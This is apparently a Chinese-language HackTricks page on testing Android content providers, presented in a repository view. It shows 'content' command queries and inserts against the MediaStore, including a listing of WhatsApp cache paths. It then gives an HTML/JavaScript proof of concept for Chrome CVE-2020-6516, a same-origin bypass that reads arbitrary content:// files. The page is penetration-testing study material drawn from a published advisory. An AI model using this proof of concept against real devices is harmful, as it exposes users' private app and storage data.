hacktricks/mobile-pentesting/android-app-pentesting/content-protocol.md
2023-08-03 19:12:22 +00:00

8.8 KiB
Raw Blame History

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

要尝试使用内容提供者可以在Android设备上使用content命令。不一定需要root访问权限。例如要查看由媒体存储管理的文件列表可以执行以下命令

$ content query --uri content://media/external/file

为了使输出更加用户友好,可以将显示的列限制为每个索引文件的标识符和路径。

$ content query --uri content://media/external/file --projection _id,_data

媒体提供者存在于它们自己的私有命名空间中。如上例所示,要访问内容提供者,应指定相应的 content:// URI。通常可以通过查看应用程序清单如果内容提供者由应用程序导出或Android框架的源代码来恢复可以访问提供者的路径信息。

有趣的是在Android设备上Chrome支持通过 content:// 方案访问内容提供者。这个功能允许浏览器访问第三方应用程序导出的资源(例如照片、文档等)。为了验证这一点,可以在媒体存储中插入一个自定义条目,然后使用浏览器访问它:

$ cd /sdcard
$ echo "Hello, world!" > test.txt
$ content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain

要发现新插入文件的标识符:

$ content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
Row: 283 _id=747, _data=/storage/emulated/0/test.txt

而要在Chrome中查看文件可以使用以下图片中显示的URL。请注意文件标识符747上面发现的被用作URL的后缀。

Chrome "Hello, world!"

例如您可以列出与WhatsApp相关的所有文件

$ content query --uri content://media/external/file --projection _id,_data | grep -i whatsapp
...

Row: 82 _id=58, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache
Row: 83 _id=705, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/157.240.9.53.443
Row: 84 _id=239, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/crashlogs.whatsapp.net.443
Row: 85 _id=240, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/pps.whatsapp.net.443
Row: 86 _id=90, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/static.whatsapp.net.443
Row: 87 _id=706, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/v.whatsapp.net.443
Row: 88 _id=89, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/www.whatsapp.com.443
...

Chrome CVE-2020-6516 Same-Origin-Policy绕过

浏览器中的_同源策略_SOP[12] 规定URL A的Javascript内容只能在以下URL属性保持相同的情况下访问URL B的内容

  • 协议,例如 https vs. http
  • 域名,例如 www.example1.com vs. www.example2.com
  • 端口,例如 www.example1.com:8080 vs. www.example1.com:8443

当然,上述规则也有例外情况,但通常情况下,来自 https://www.example1.com 的资源例如一段Javascript代码不能访问 https://www.example2.com 上的DOM因为这会引入严重的信息泄漏。除非Cross-Origin-Resource-SharingCORS策略明确允许否则Web资源不应该绕过SOP规则。

需要注意的是Chrome将 content:// 视为_本地方案_就像 file:// 一样。在这种情况下SOP规则更加严格因为每个本地方案URL都被视为单独的源。例如位于 file:///tmp/test.html 中的Javascript代码不应该能够访问 file:///tmp/test2.html 或者文件系统上的任何其他文件。**因此根据SOP规则通过 content:// 加载的资源不应该能够访问任何其他 content:// 资源。**然而Chrome的漏洞CVE-2020-6516为此规则创建了一个“例外”。

CVE-2020-6516 [03] 是通过 content:// URL加载的资源的SOP绕过。**例如,从 content://com.example.provider/test.html 加载的HTML文档中运行的Javascript代码可以加载和访问通过 content:// URL加载的任何其他资源。**这是一个严重的漏洞特别是在运行Android 9或之前版本的设备上。在这些设备上未实现作用域存储 [13],因此可以通过系统的媒体存储内容提供程序访问位于 /sdcard 下的应用程序特定数据,更有趣的是可以访问位于 /sdcard/Android 下的数据。

一个简单的概念验证。将使用 XMLHttpRequest 访问任意 content:// URL 的HTML文档上传到 /sdcard 下。然后将其添加到媒体存储中并在Chrome中呈现类似于之前展示的示例。为了演示目的可以尝试加载 content://media/external/file/747实际上这是“Hello, world!”示例的媒体存储URL。令人惊讶的是运行在HTML文档源中的Javascript代码将获取并显示 test.txt 的内容。

<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}

xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>

从这篇文章中获取的信息: https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥